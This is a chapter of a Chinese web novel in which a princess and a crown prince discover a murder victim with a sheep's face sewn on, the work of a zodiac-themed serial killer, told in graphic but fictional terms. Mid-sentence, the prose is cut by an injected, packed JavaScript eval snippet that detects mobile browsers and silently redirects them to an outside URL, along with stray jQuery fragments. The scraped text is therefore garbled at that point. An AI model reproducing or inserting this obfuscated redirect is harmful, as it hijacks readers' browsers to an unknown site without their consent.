第六章随风潜入夜
(蔻燎)
“什么?”落花蕊怀疑自己耳朵出问题,难以置信落花啼嘴里会说出这样令人无法苟同之辞。
曲探幽耳清目明,非是聋子,吹着风儿听见了这四个字,眼睑微颤,他一勒马缰,沉默地率先策马向山顶进发。
一群人自山腰到山顶,从山顶到山腰,拢共折腾了三个时辰,花费一天时间寻找那朵破龙鳞花。
好消息是,连破龙鳞花的一根烂叶子也没觑见。
白跑一趟。
众人来到灵暝山天相宗的大门前,曲探幽蠢蠢欲动,想进去一观风采,被落花啼严厉拒绝。理由是,天色已晚,若逛完天相宗,届时回落花王宫就不太方便了。
更何况,在江湖上颇有名望的天相宗岂是曲探幽这只人渣想看就看的?
落花啼当然第一个不同意。
曲探幽“哦”一声,也不勉强,反正他对江湖上的儒释道各门派皆有了解,不急一时,他有的是机会正大光明地走进去。
来到花落知多少的街道,落花啼,落花蕊,银芽下马车逛夜市,三人蹦蹦跳跳,嬉笑不断。
华灯初上,热热闹闹的大街小巷摆满了琳琅满目的商品,香气扑鼻的鲜花食品五彩缤纷,目不暇接。
人-流摩肩接踵,沸反盈天。
落花啼掏一颗银子买了三块鲜花酥,分给落花蕊和银芽,她们在前面边吃边逛,曲探幽一行人则骑着马一步步紧跟着。
入鞘无奈地驾着落花啼的那辆马车,莫名有一种换了主子的错觉,他嘴巴一扁,不甘心道,“太子殿下,要不我们先回落花王宫安置歇息?这春还公主整日下来对太子殿下没个好脸色,哪有一点上台面的待客之道?我们不必去热脸贴冷屁股吧。”
曲探幽道,“她怎么不给孤买一块呢?”
入鞘瞟见街道边甜香馥郁,色彩娇嫩的鲜花酥,忙不迭道,“太子殿下也想吃鲜花酥?属下这便去买。”身子还坐着,两条腿已飞速跳下马车。
曲探幽目不斜视,缄口默然,眸湖平静无澜。
东拉西扯间,灯火通明的长街尽头蓦地炸开了窜天的尖叫,“啊啊啊啊啊啊!血——有血!杀人了,杀人了!”
杀人?
曲探幽眉弓一耸,目泛亮芒,兴趣盎然,不等入鞘出言阻拦,用鞭子抽打着身下的马匹,在川流不息的人群中急驰。
走在前头的落花啼等人先一步听见那声尖叫,她拖着落花蕊和银芽推挤着拥堵的人群,脚不沾地的往声音来源处大步跑动。
费了九牛二虎之力才拨开面前的数颗脑袋,落花啼气喘吁吁,还没仔细看,身侧冲来一匹威武霸气的赤兔宝马,停在她旁边,“呼哧呼哧”喷着热气。
抬目一瞭,瞥见了曲探幽浓鸷的侧颜,落花啼白眼一翻,收回视线。
尖叫的中心是一座恢宏的大酒楼。
酒楼的棕红牌匾后缩着一团黑糊糊的影子,岿然不动,数条幼蛇般的斑驳血痕从牌匾下蜿蜒流淌,“滴答,滴答,滴答”,秋雨似的连绵不绝。
围拢的人群敛气屏息,越发显得这血滴声震耳欲聋,贯彻心房,挥之不去。
原是一名富家公子打量进这酒楼小酌一杯,一品佳肴,没成想还未踏步入内,眉心一冷,湿漉漉的水渍砸在他脸上,吓得他赶忙一抬头。
所见之景使他鬼哭狼嚎,仪态全无地喊了一嗓子,把街道上的老百姓全部吸引过来。
“那……那是什么东西?是人是鬼?”
富公子躲在他府中小厮的背后,战栗如抖筛,口齿不清。
小厮自己也害怕得狂抖,抽空安慰道,“少爷,你莫怕,许是哪只野猫卡在牌匾之后了。”
“野猫?什么野猫能长得这般大?岂非成了精怪?”
落花啼站出来,昂头望着上方的酒楼牌匾,一字一顿,“全——是——羊?什么破名字?”
有酒楼取名这么敷衍的吗?
她挤进酒楼正门位置,抱拳,嫣然道,“诸位,这匾额后的东西是何模样,猜来猜去没有意义,不如把它弄下来仔细辨别?”
酒楼老板屁颠屁颠跑过来,觑了觑落花啼,眼熟不已,抠一抠头,道,“这位姑娘,要不我给你搬一架梯子?你瞧瞧,这都是什么事啊?本店好端端地做生意,怎么就惹上这些不干不净的东西!哎呦,晦气!”
他兀自郁结,指挥一位店小二去挪梯子。
落花啼一拍手掌,不屑道,“不必!”
脚下点跃,横踏竖踢,借力酒楼的柱子飞身而起,一只手攀上酒楼牌匾,另一手攥成拳头,在众目睽睽之下将牌匾后的那坨黑影一举怼了下来。
“啪!”
巨大的首尾相连的球体自高空砸下,摔出一地血泥。
落花啼稳稳松手落地,衣袍猎猎,恍如神人。
发鬓纹丝不动,姿势落落大方,那叫一个潇洒又倜傥。
看得百姓们鼓手称快,喝彩不断。
银芽道,“公……小姐厉害!”
马背上的曲探幽默默翘了下唇角,眼珠子钉在落花啼身上,久久不动。
众人闹罢,安静下来,跟随落花啼去翻看地面上黑糊糊的物体。
那东西周身裹了一层黑布,污浊腥臭,黑布上隐隐浸出了暗红的颜色,观之觳觫。
落花啼接过酒楼店小二递过来的一根烧火棍,捅了捅,不见有动静,手速迅疾,三两下掀开黑布,暴露了黑布下的真实面目。
是人。
不,似人,而非人。
乃是一个奇丑至极的大怪物!
何故如此说?
地面上黑布里的东西是一位年纪轻轻的成年男子,浑身赤-裸,衣不蔽体,肌肤细腻,血口纵横。
双手护胸,弯膝缩腿,骨骼似柴,一副襁褓婴儿的诡异姿态。
这不是最奇怪之处,最奇怪的是那人根本没有脸,准确来说,他没有一张正常人的脸,而是脸上替代了一块羊面。
一言蔽之,死去的男人的脸上被罪魁祸首拿针线缝合了绵羊的羊脸,自脖子到头顶,包住了他原本的面容。
他的下-体,屁-股后端还恶趣味地被人缝上了一撮羊尾巴,沾了干涸的血印,触目惊心。
富公子搂着美人春风得意地来吃羊肉,却不小心碰见血腥变态的一幕,撑着柱子呕吐不止,竭力道,“这是什么怪物?谁搞出来的,唔……”
落花啼瞠目,握着烧火棍的手一凝,后退两步,避之不及,下一秒后背撞上一热腾腾的硬物。
回眸,曲探幽不知何时下马,踱步接近,悄无声息地立在落花啼身边。
人群迭起嘀嘀咕咕的议论声,什么那是曲朝的太子殿下,什么那可能是落花公主,什么什么,七嘴八舌,倒比研究羊面怪物还来得澎湃激昂。
曲探幽忽略百姓的吵嚷,目视酒楼老板,冷峻道,“可曾报官?”
老板瞅着曲探幽,上下扫描,确定对方就是曲朝远道而来尊贵的太子殿下,卑躬屈膝,行礼道,“回太子殿下,报了报了,一发现这匾额后不对劲我就遣了人去官府了,想来应该快到了。”
他谄媚一笑,“来人,给太子殿下拖张椅子出来,请太子殿下落座休息!”
曲探幽置若罔闻,转移话题,寒声道,“此事是第一次发现,还是先前已有案例?不妨告知。”
此言一出,花落知多少的百姓一俱噤若寒蝉,安静如死。
曲探幽挑眉,“如此看来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615270|172203||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,并不是第一次了。”
落花啼也疑窦丛生,暗暗揉了揉眉心,思忖须臾,她前世一心玩乐,不大关注民间案件,对花落知多少里发生的事故知之甚少,一时记不清前世的时候城内有什么大事。
她把好奇的眼孔飞到老板脸上,加一把火,“老板,你知道吗?羊面怪物之前,还出了什么事?”
“回公主殿下,羊面怪物之前,还有鼠面,牛面,虎面,兔面,蛇面,马面等怪物。”
一记携着微风的清雅音质荡来,字字铿锵,掷地有声,袭击着薄弱柔软的心田。
是听了一遍就会幻想对方五官容貌的绝美嗓子。
这不是老板的声音,绝对不是。
人群很识趣地从中间分开一条笔直宽敞的道路,恭恭敬敬退到两侧,给来人留出走动的距离。
来人一袭红袍,腰束黑玉蹀躞,蹀躞上面挂了大小不一的香囊荷包,玉环玉玦,走起来一路香气萦绕,叮叮当当地响。
袍子垂下,一双黑靴裹着精健有力的修长小腿,动静间,如同画中美人复活,俊朗脱俗。
他手擎一把小臂长短的黑柄匕首,信步走至,衣袂浮动,夺人眼球。
眉宇轩昂,眸色澄澈,唇边笑意淡淡。
一队灰衣捕快随他而来,疏通着挤挤挨挨的多余百姓。
红袍男子走到落花啼面前,俯身一礼,温煦道,“警世司司主花辞树见过公主殿下。”
落花啼微怔,心道这男子完全是能媲美曲探幽容貌气度的绝色,令人心脏鼓跳。吞一口灼热的唾沫,讶然道,“无需多礼,你是……警世司是什么官职?”
“回公主殿下,警世司是国主设立的襄助各府衙门查案审讯的独立官部,乃在衙门之上。”
他巨细无遗地解释,望见落花蕊之后,用同样的礼数道,“见过花蕊公主。”
落花蕊点一点头,笑而不语。
花辞树对落花王室中人了如指掌,想必家族势力也不容小觑,只可惜落花啼仿佛从来没有见过他。
回归正题。
落花啼疑惑道,“花司主,你方才说,在羊面怪物前头,还有鼠面,牛面,虎面,兔面,蛇面……本公主听着,怎么有点像十二生肖的排序?”
“公主聪慧,罪犯的确是按十二生肖作序,除了他抓不到真正的‘龙’,这些‘动物’他都认真的以人为基础制作出来了。”
花辞树笑意流转,眼睛凝在落花啼脸庞上,道,“公主殿下,那些生肖怪物的尸体皆收在义庄暂存,公主可要看看?”
许久不出声的曲探幽抢一步道,“在哪?”
花辞树扬眸,与曲探幽四目相对,默一秒,恍然大悟道,“恕在下眼拙,不识曲朝的太子殿下。”躬身施礼,身段昳丽,秀色可餐。
曲探幽嗤了嗤,冷冷道,“孤问你,义庄在何处?”
“太子殿下勿急,我会带你们去瞧瞧的。”
花辞树命令手下把羊面怪物用草席子捆好,装上小板车推走,安抚了酒楼老板,富家公子和百姓,让他们闭上嘴巴,不要传得人尽皆知。
随后带领落花啼,落花蕊,曲探幽,银芽,入鞘等人赶往花落知多少城外的一座义庄。
颠簸了半个时辰,一行人下马的下马,下车的下车,陆陆续续停在义庄门口。
花辞树一边启锁,一边讲着十二生肖怪物的故事,音色悦耳,如听仙乐,他眉眼弯弯,“公主殿下有所不知,此生肖凶手不但依着十二生肖的顺序来杀人,还按照被杀人的属相来实施恶毒手段。”
“难不成,死的怪物人正是符合了他们各自的属相?”
落花啼和曲探幽几乎异口同声,两人说罢,齐齐瞪了对方一眼,不自在地站远几寸。